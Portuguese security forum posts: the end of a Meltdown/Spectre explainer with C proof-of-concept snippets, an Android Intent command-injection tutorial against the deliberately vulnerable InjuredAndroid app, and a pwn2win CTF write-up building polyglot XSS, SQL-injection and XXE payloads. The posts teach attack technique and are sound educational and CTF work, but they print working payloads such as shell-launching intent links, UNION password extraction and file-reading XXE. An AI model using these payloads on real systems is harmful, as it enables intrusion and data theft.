      Texto -  Estão presentes as instruções geradas a partir de funções, em resumo é o código do programa possui em geral permissões de leitura e execução; Data - Utilizada para variáveis globais já inicializadas; BSS - Contem as variáveis globais não inicializadas que são portanto criadas com o valor 0; Heap - Armazena as variáveis criadas dinamicamente, como a heap possui tamanho dinâmico; Stack - Guarda as variáveis de escopo local, como variáveis de funções, bem como endereços de retornos. Data, heap, BSS e stack possuem geralmente permissão de leitura e escrita; Kernel - O kernel é mapeado em todos os processos em execução. Páginas de kernel possuem um bit indicando que não são acessíveis em modo usuário, portanto um acesso a essa região provoca um segfault.
      Embora seja um pouco contraintuitivo, o kernel é mapeado como área do processo por uma questão de performance. Conforme foi visto anteriormente, durante toda troca de contexto é necessário limpar o TLB e ler novamente a tabela de paginação, o que leva tempo e traz um impacto negativo na performance, sobretudo se um programa realiza muitas chamadas de sistema operacional (diversas leituras de arquivo por exemplo), o que força a troca de contexto com maior frequência. Para reduzir esse efeito o kernel é mapeado no espaço de endereçamento virtual do processo, dessa forma não é necessário realizar o flush na TLB.
      Exceções e execução fora de ordem 
      No exemplo abaixo a primeira linha provoca uma exceção ao ler um endereço de memória que não possui permissão de leitura. Isso fará com que o programa seja terminado e portanto a segunda linha deveria ser incapaz de executar. Porém devido a forte característica de execução fora de ordem do processador, é possível que antes do controle ser passado ao Exception handler, as instruções subsequentes possam ser executadas provocando alteração de estado na micro arquitetura (ex cache), apesar de seus resultados nunca serem resgatados.
      raise_exception(); access(probe_array[data * 4096]);  

      Fluxo de execução após uma exceção. Extraido de Meltdown: Reading Kernel Memory from User Space
      Apesar de as instruções serem executadas de forma transiente, o programa ainda está destinado a terminar. Portanto é necessário ou tratar a excessão ou impedir que ela aconteça em primeiro lugar. 
      Tratamento de exceção
      O caso mais simples de tratameto de exceção é através da execução de um fork logo antes do acesso que gera o seg fault. Dessa forma o processo filho realiza a execução transiente, passando o segredo através de alterações do estado da cache para o processo pai.
      char readByte(unsigned char *addr){   volatile char tmp;   if(fork()){     readSideChannel();   }   else{     tmp = probe[(*addr)*4096];   } }
      O problema ao utilizar fork como tratamento de exceção é o custo de criar um novo processo para a tentativa de leitura de um byte. Uma alternativa mais performática seria utilizar a syscall sys_rt_sigaction para instalar um exception handler que permita a continuação do programa mesmo após a ocorrência de um segfault. No exemplo abaixo, o acesso ao endereço 0 é capturado pelo handler instalado no programa.`
       
      #include <stdio.h> #define __USE_GNU #include <ucontext.h> #include <signal.h> void segFaultHandler(int signum, siginfo_t* ignored, void* context) {   ((ucontext_t*)context)->uc_mcontext.gregs[REG_RIP]++;   printf("Exception captured\n"); } int main(){     struct sigaction sigstruct;     sigstruct.sa_handler = SIG_DFL ;     sigstruct.sa_sigaction = segFaultHandler;     sigstruct.sa_flags = SA_SIGINFO;     sigaction(SIGSEGV, &sigstruct, NULL);     int a =0;     int b = *(int *)a;     printf("finished execution\n"); } $./sig Exception captured Exception captured finished execution

      Supressão de exceção
      Uma outra alternativa para evitar a finalização do processo é impedir que a exceção seja provocada em primeiro lugar. Utilizando uma técnica muito semelhante a vista na variante 1 do spectre, é possível induzir a CPU a acessar especulativamente o endereço de kernel através de uma perdição incorreta, dessa forma a exceção nunca será gerada.
       
      //adaptação do Spectre v1 para Metldown com supressão de exceção if (x < array1_size)     y = array2[array1[kernel_offset] * 4096];
      Leitura de memória de outros processos
      Para que o kernel seja capaz de realizar operações como copy_from_user é conveniente que toda a memória física seja mapeada no espaço de endereçamento do kernel.

      Toda a memória física esta mapeada no kernel. A seção em azul está mapeada tanto acessivel no espaço do usuário quanto no kernel através de mapeamentp direto. Extraído de Meltdown: Reading Kernel Memory from User Space
      Portanto um ataque que seja capaz de ler memória do kernel, ao iterar pelo espaço de usuário do kernel eventualmente lê a memória dos demais processos em execução.
      Mitigações
      Devido a vulnerabilidade se encontrar no comportamento de execução fora de ordem do processador as mitigações não são triviais, embora sejam mais efetivas que o spectre, devido ao comportamento específico de ataque ao kernel do spectre.
      KASLR
      De forma semelhante ao Address Space Layout Randomization (ASLR) disponível para modo de usuário, o kernel possui o Kernel Address Space Layout Randomization e serve como mitigação para ataques de corrupção de memória. Embora o Meltdown não se baseia nessa classe de ataques, ao randomizar o endereço base do kernel, o processo de leitura é dificultado. Todavia outras classes de ataque são capazes de revelar esse endereço, como por exemplo colisões de Branch target buffers, conforme descrito por Jump over ASLR.
      KPTI
      Kernel Page Table Isolation opera em cima da quantidade de dados que pode ser extraida utilizando o ataque. Quando a mitigação é implementada o kernel passa a gerenciar dois conjuntos de páginas. A parte do kernel mapeada no espaço de endereçamento do usuário é restrita apenas a funcionalidade mínima necessária como executar syscalls e exceções. O segundo conjunto contém além das páginas do usuário todo o mapeamento da memória fisica e pode ser utilizado para operações como copy_from_user. Caso seja necessário, o kernel deve trocar de espaço de endereçamento para o conjunto contendo o kernel completo.
      Bibliografia
      Flush + Reload https://eprint.iacr.org/2013/448.pdf
      Spectre https://spectreattack.com/spectre.pdf
      MDS attacks https://mdsattacks.com/
      Meltdown https://meltdownattack.com/meltdown.pdf
      RSA power analys https://www.youtube.com/watch?v=bFfyROX7V0s
      Linux memory management https://jasoncc.github.io/kernel/jasonc-mm-x86.html
      Sigaction https://man7.org/linux/man-pages/man2/sigaction.2.html
      Tabela de paginação https://www.kernel.org/doc/gorman/html/understand/understand006.html
      Jump over ASLR http://www.eecs.umich.edu/courses/eecs573/slides/38 - Secure and Bug-Free Systems.pdf
      PTI https://www.kernel.org/doc/html/latest/x86/pti.html
      rhme CTF https://github.com/Riscure/Rhme-2016
      Algumas provas de conceito https://github.com/Jos3Luiz/hackeando-cpus
      Computer Organization and Design RISC-V edition
    • By caioluders
      Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.
      Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.
      intent://
      Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.
      <intent-filter>
      Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.
      Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml
      <activity     android:name=".RCEActivity"     android:label="@string/title_activity_rce"     android:theme="@style/AppTheme.NoActionBar">     <intent-filter android:label="filter_view_flag11">         <action android:name="android.intent.action.VIEW" />         <category android:name="android.intent.category.DEFAULT" />         <category android:name="android.intent.category.BROWSABLE" />         <!-- Accepts URIs that begin with "flag13://” -->         <data             android:host="rce"             android:scheme="flag13" />     </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.
      O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.
      A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.

      flag13://rce
      Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️
      Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:
      49 if (intent != null && intent.data != null) { 50     copyAssets() 51     val data = intent.data 52     try { 53         val intentParam = data!!.getQueryParameter("binary") 54         val binaryParam = data.getQueryParameter("param") 55         val combinedParam = data.getQueryParameter("combined") 56         if (combinedParam != null) { 57             childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58                 override fun onDataChange(dataSnapshot: DataSnapshot) { 59                     val value = dataSnapshot.value as String? 60                     if (combinedParam == value) { 61                         FlagsOverview.flagThirteenButtonColor = true 62                         val secure = SecureSharedPrefs() 63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64                         correctFlag() 65                     } else { 66                         Toast.makeText(this@RCEActivity, "Try again! :D", 67                                 Toast.LENGTH_SHORT).show() 68                     } 69                 } 70 71                 override fun onCancelled(databaseError: DatabaseError) { 72                     Log.e(TAG, "onCancelled", databaseError.toException()) 73                 } 74             }) 75         } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:
      76 else { 77 78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79     val bufferedReader = BufferedReader( 80             InputStreamReader(process.inputStream)) 81     val log = StringBuilder() 82     bufferedReader.forEachLine { 83         log.append(it) 84     } 85     process.waitFor() 86     val tv = findViewById<TextView>(R.id.RCEView) 87     tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈
      Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.
      Nossa PoC terá os seguintes passos :
      Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim:
      <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉
      S.Intent_Extras
      Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :
      <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.
      Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:
      if      (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end
      Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.
      Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.
      Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.
      |-|4ck th3 |>l4n3t 
      @caioluders
    • By brenocss
      Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
      Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.
      O que é Reflected XSS
      Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.
      Código vulnerável:
      ### Contexto de html <?php $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1> ?> O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.
      XSS:
      http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script> http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)> Código vulnerável:
      ### Contexto de atributo <?php $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img" print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img"> ?> Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.
      XSS:
      http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)> http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)// Código vulnerável:
      ### Contexto de códigos JavaScript <?php $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome print '<body>'; // Adiciona a tag <body> no HTML print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina print '</body>';// adiciona tag </body> para fechar a tag no html ?> Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.
      XSS:
      http://localhost:8000/xssjavascript.php?nome='-alert(1)//  
      O que é SQL Injection
      SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.
      Código vulnerável:
      $usuario = $_POST['usuario']; $senha = $_POST['senha']; $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' "; $processa = mysql_query($sql); Explorando SQL Injection
      No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :
      $usuario = "epicleetteam"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
      SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin' Demonstrando agora o que acontece quando enviamos entradas com aspas simples:
      $usuario = "epicleet'team"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
      SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin' Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.
      Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:
      $usuario = "epicleetteam' union select sleep(5)#"; $senha = "admin"; SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'  
      O que é XXE
      XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.
      Exemplo com arquivo local:
      <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> Saída:
      root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin gnx:x:999:999::/home/gnx:/bin/sh Exemplo com arquivo externo:
      <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo> Vamos ao desafio
      A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.
      Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.
      Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js
      SQL Injection
      Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.
      Trecho do desafio vulnerável a SQL Injection:
      const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql await connection.end() return JSON.stringify(sqli).includes(users[0]["password"]) //<- Verifica se password esta no retorno da query Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.
      O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.
      Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):
      'UNION SELECT sleep(5)# (não demorou) 'UNION SELECT sleep(5),null# (não demorou) 'UNION SELECT sleep(5),null,null#(demorou) Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas
      'UNION SELECT sleep(5),null,null,null# (não demorou)` Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final
      'UNION SELECT null,null,(select password from users)# E assim fica a query executada pelo SQL:
      SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'  
      XXE
      Trecho do desafio vulnerável a XXE:
      var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo
      <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root> Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.
      Assim ficamos com um payload poliglota que explora XXE e SQLi.
      Payload de XXE+SQLI:
      <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)# XSS+XXE+SQLI
      A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.
      Trecho do código vulnerável:
      payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script> const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:
      <tag aleatoria> é removido <!--é removido --> Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.
      SQL Injection com comentários do HTML:
      <!--’UNION SELECT (select password from users),null,null#--> Payload invalido com Sql Injection + XXE + XSS:
      <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#--> A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.
      Partes restantes do payload depois do sanitize:
      ]>xss=1//&test; Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:
      Uncaught SyntaxError: Unexpected token ']' Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.
      No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.
      Payload Final usando comentário javascript:
      <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.
      Payload Final
      <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->
×
×
  • Create New...